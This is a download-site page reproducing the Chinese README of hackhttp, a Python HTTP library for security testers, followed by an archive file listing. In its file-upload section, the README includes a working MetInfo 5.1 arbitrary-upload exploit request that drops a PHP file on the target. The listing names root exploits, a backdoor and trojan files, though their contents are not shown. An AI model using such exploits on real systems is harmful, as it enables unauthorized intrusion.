```
_ _ _ _ _
| |__ __ _ ___| | _| |__ | |_| |_ _ __
| '_ \ / _` |/ __| |/ / '_ \| __| __| '_ \
| | | | (_| | (__| <| | | | |_| |_| |_) |
|_| |_|\__,_|\___|_|\_\_| |_|\__|\__| .__/
|_|
```
[](https://www.python.org/) [](https://raw.githubusercontent.com/bugscanteam/hackhttp/master/GPL-2.0)
简介
---
hackhttp 是四叶草安全旗下 BugscanTeam 打造的一款 Python 语言的 HTTP 第三方库。是分布式漏洞扫描框架 BugScan 中核心库之一。
hackhttp 致力于帮助安全测试人员快速编写代码，除众多基础功能外，hackhttp 支持直接发送 HTTP 原始报文，开发者可以直接将浏览器或者 Burp Suite 等抓包工具中截获的 HTTP 报文复制后，无需修改报文，可直接使用 hackhttp 进行重放。
hackhttp 使用连接池技术，在应对大量请求时自动对连接进行复用，节省建立连接时间与服务器资源，这种天生的特性，在编写爬虫时尤为显著，测试用例中提供了一个爬取乌云所有漏洞的爬虫。
安装
---
### 使用 pip 安装
```
$ pip install hackhttp
```
如果提示找不到源可以手动指定为官方源：
```
$ pip install -i https://pypi.python.org/pypi hackhttp
```
### 使用源码安装
1. 获取源代码
你可以通过用 Git 来克隆代码仓库中的最新源代码
```
$ git clone [email protected]:BugScanTeam/hackhttp.git
```
或者你可以点击 [这里](https://github.com/BugScanTeam/hackhttp/archive/master.zip) 下载最新的源代码 zip 包,并解压
```
$ wget https://github.com/BugScanTeam/hackhttp/archive/master.zip
$ unzip master.zip
```
2. 手动安装
```
$ cd hackhttp
$ python setup.py install
```
使用
---
### 快速上手
```
>>> import hackhttp
>>> hh = hackhttp.hackhttp()
>>> url = "https://www.bugscan.net"
>>> code, head, html, redirect_url, log = hh.http(url)
```
### 返回值说明：
* **code**
HTTP 状态码，类型为 int
* **head**
HTTP 响应头，类型为 String
* **html**
HTTP 响应体，类型为 String
* **redirect_url**
遇到 HTTP 302 后的跳转地址，如果无跳转则为请求的地址，类型为 String
* **log**
HTTP 日志信息，类型为 dict
* url
本次请求的第一个 URL 地址
* request
HTTP 请求报文
* response
HTTP 响应报文
### 详细说明
* [发送一个 GET 请求](#get)
* [发送表单 POST 请求](#post)
* [发送 HTTP 原始数据包](#raw)
* [自定义请求头](#headers)
* [代理功能使用](#proxy)
* [文件上传](#fileupload)
* [HTTP 连接池](#connectionpool)
* [自定义 Cookie](#cookie)
* [爬虫示例：抓取乌云所有漏洞](#wooyunspider)
#### 发送一个 GET 请求<div id="get"></div>
```
>>> import hackhttp
>>> hh = hackhttp.hackhttp()
>>> code, head, body, redirect, log = hh.http('https://www.bugscan.net')
>>> code
200
>>> '<html ng-app="Bugscan">' in body
True
```
#### 发送表单 POST 请求<div id="post"></div>
```
>>> import hackhttp
>>> hh = hackhttp.hackhttp()
>>> code, head, body, redirect, log = hh.http('http://httpbin.org/post', post="key1=val1&key2=val2")
>>> code
200
>>> print body
{
...
"form": {
"key1": "val1",
"key2": "val2"
},
...
}
```
#### 发送 HTTP 原始数据包<div id="raw"></div>
本例子中演示如何通过 raw 来发送表单 POST 数据，raw 中数据可以从 Burp Suite 中截取数据报文并直接复制。
```
>>> import hackhttp
>>> hh = hackhttp.hackhttp()
>>> raw='''POST /post HTTP/1.1
... Host: httpbin.org
... User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0
... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
... Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
... Accept-Encoding: gzip, deflate
... Connection: close
... Content-Type: application/x-www-form-urlencoded
... Content-Length: 19
...
... key1=val1&key2=val2'''
>>> code, head, html, redirect, log = hh.http('http://httpbin.org/post', raw=raw)
>>> code
200
>>> print html
{
...
"form": {
"key1": "val1",
"key2": "val2"
},
...
}
```
#### 自定义请求头 <div id="headers"></div>
使用字典形式，需要使用将请求头字典传给 headers：
```
>>> import hackhttp
>>> hh = hackhttp.hackhttp()
>>> headers_dict = {
... 'X-Forwarder-For': 'https://q.bugscan.net',
... 'Hack-Http': 'Header Dict Val'
... }
>>> code, head, body, redirect, log = hh.http('https://www.bugscan.net', headers=headers_dict)
>>>
>>> print log['request']
GET / HTTP/1.1
Host: www.bugscan.net
X-Forwarder-For: https://q.bugscan.net
...
Hack-Http: Header Dict Val
>>>
```
使用字符串形式，需要将字符串传给 header:
```
>>> import hackhttp
>>> hh = hackhttp.hackhttp()
>>>
>>> header_str='HH_HEADER_1: hh h1 val\r\nHH_HEADER_2:hh h2 val'
>>>
>>> code, head, body, redirect, log = hh.http('https://www.bugscan.net', header=header_str)
>>>
>>> print log['request']
GET / HTTP/1.1
Host: www.bugscan.net
...
HH_HEADER_2: hh h2 val
HH_HEADER_1: hh h1 val
```
**注意：如果同时指定 header 和 headers，将只会使用 header 中的内容**
#### 代理功能使用<div id="proxy"></div>
目前代理仅支持 HTTP 代理
```
>>> import hackhttp
>>> hh = hackhttp.hackhttp()
>>> proxy_str = ('127.0.0.1', 9119)
>>> code, head, body, redirect, log = hh.http('https://www.bugscan.net', proxy=proxy_str)
```
#### 文件上传<div id="fileupload"></div>
文件上传可以直接通过 Burp Suite 来抓包截取上传报文，使用 raw 方式上传。
MetInfo5.1 任意文件上传漏洞中，使用 hackhttp 上传文件：
```
#!/usr/bin/env python
# coding:utf-8
import hackhttp
target = "http://127.0.0.1/metinfo5.1/"
url = target + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo"
raw = '''POST /feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo HTTP/1.1
Host: localhost
Content-Length: 423
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE1toBNeESf6p0uXQ
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=hfqa37uap92gdaoc2nsco6g0n1
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="fd_para[1][para]"
filea
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="fd_para[1][type]"
5
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="filea"; filename="test.php"
Content-Type: application/x-php
<?php echo md5(1);unlink(__FILE__);?>
------WebKitFormBoundaryE1toBNeESf6p0uXQ--
'''
hh = hackhttp.hackhttp()
code, head, body, redirect, log = hh.http(url, raw=raw)
```
#### HTTP 连接池<div id="connectionpool"></div>
创建拥有 500 个连接的连接池：
```
>>> import hackhttp
>>> hh = hackhttp.hackhttp(hackhttp.httpconpool(500))
```
hackhttp 会选择空闲状态的连接，发送 HTTP 报文，节省建立连接的时间，连接池中默认连接数为 10.
#### 自定义 Cookie <div id="cookie"></div>
在创建 hackhttp 对象时指定 `cookie_str` 参数：
```
>>> import hackhttp
>>> hh=hackhttp.hackhttp(cookie_str="a=b;")
>>> code, head, body, redirect, log = hh.http('https://www.bugscan.net')
>>> print log['request']
GET / HTTP/1.1
Host: www.bugscan.net
Content-Length: 0
Connection: Keep-Alive
Cookie: a=b
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36
>>>
```
或者�
WEB-AWD-Framework-master.zip （74个子文件） 
WEB-AWD-Framework-master spare 
curl_nginx.php 1KB cmd5.py 280B assist.py 2KB lottery.py 3KB reap_flag.py 583B
web-apache2.zip 6KB psguard.py 4KB
password.txt 71KB pcap_classify.py 1KB auxiliary.py 3KB setting.pyc 297B FlagManage util.py 4KB main.py 1KB util.pyc 5KB dbinit.pyc 4KB flag.db3 5KB dbinit.py 2KB README.md 446B log __init__.py 79B color.pyc 2KB Log.pyc 2KB color.py 742B Log.py 901B __init__.pyc 193B repost.py 827B
README.html 29KB Inspect.py 1KB getRoot Linux_Exploit_Suggester.pl 19KB POC CVE-2017-6074_poc.c 15KB CVE-2016-8655_chocobo_root.c 20KB
sudo-CVE-2017-1000367.png 75KB release 32 sudo-CVE-2017-1000367 12KB CVE-2016-5195_dirtyc0w 8KB CVE-2017-6074_poc 18KB 64 sudo-CVE-2017-1000367 13KB CVE-2016-8655_chocobo_root 26KB CVE-2016-5195_dirtyc0w 13KB CVE-2017-6074_poc 23KB CVE-2016-5195_dirtyc0w.c 3KB Nginx-root-CVE-2016-1247 nginxed-root.sh 7KB Example.txt 3KB sudo-CVE-2017-1000367.c 3KB LinEnum.sh 42KB hackhttp.md 8KB setting.py 126B Beat.py 2KB Obfs.py 1KB bash slaves.txt 372B catchslaves.py 4KB check 13KB cmd_server.py 8KB backdoor.c 8KB base.txt 18KB upload writable.php 1KB psguard_apache2 18KB filecmp_huasir.py 4KB .config.php 153B log.php 6KB trojan xor.php 188B memory.php 433B .config.php 153B chr.php 307B readme.txt 279B README.md 2KB log 127.0.0.1.txt 3KB hackhttp setup.py 556B GPL-2.0 15KB test hhtest_post.py 465B wooyun_spider.py 829B hhtest_raw.py 633B .gitignore 69B README.md 8KB hackhttp __init__.py 2KB hackhttp.py 17KB资源评论
江河湖海
- 粉丝: 1256
最新资源
- 【微信小程序源码】仿找事吧.zip
- 【微信小程序源码】仿网易云音乐.zip
- 【微信小程序源码】仿微信DEMO.zip
- 【微信小程序源码】仿知乎.zip
- 【微信小程序源码】仿知乎日报.zip
- 【微信小程序源码】仿知乎日报客户端.zip
- 【微信小程序源码】仿中国当代艺术社交平台artand.zip
- 【微信小程序源码】飞机大战.zip
- 【微信小程序源码】分答小程序.zip
- 【微信小程序源码】服装供销商城小程序.zip
- 【微信小程序源码】富文本解析，折线图，MD5,bluebird.zip
- 【微信小程序源码】疯狂吃月饼（node+mysql）.zip
- 【微信小程序源码】高端城市好天气.zip
- 【微信小程序源码】构架师技能图谱.zip
- 【微信小程序源码】高的地图实时天气.zip
- 【微信小程序源码】高仿苹果计算器.zip
资源上传下载、课程学习等过程中有任何疑问或建议，欢迎提出宝贵意见哦~我们会及时处理！
点击此处反馈
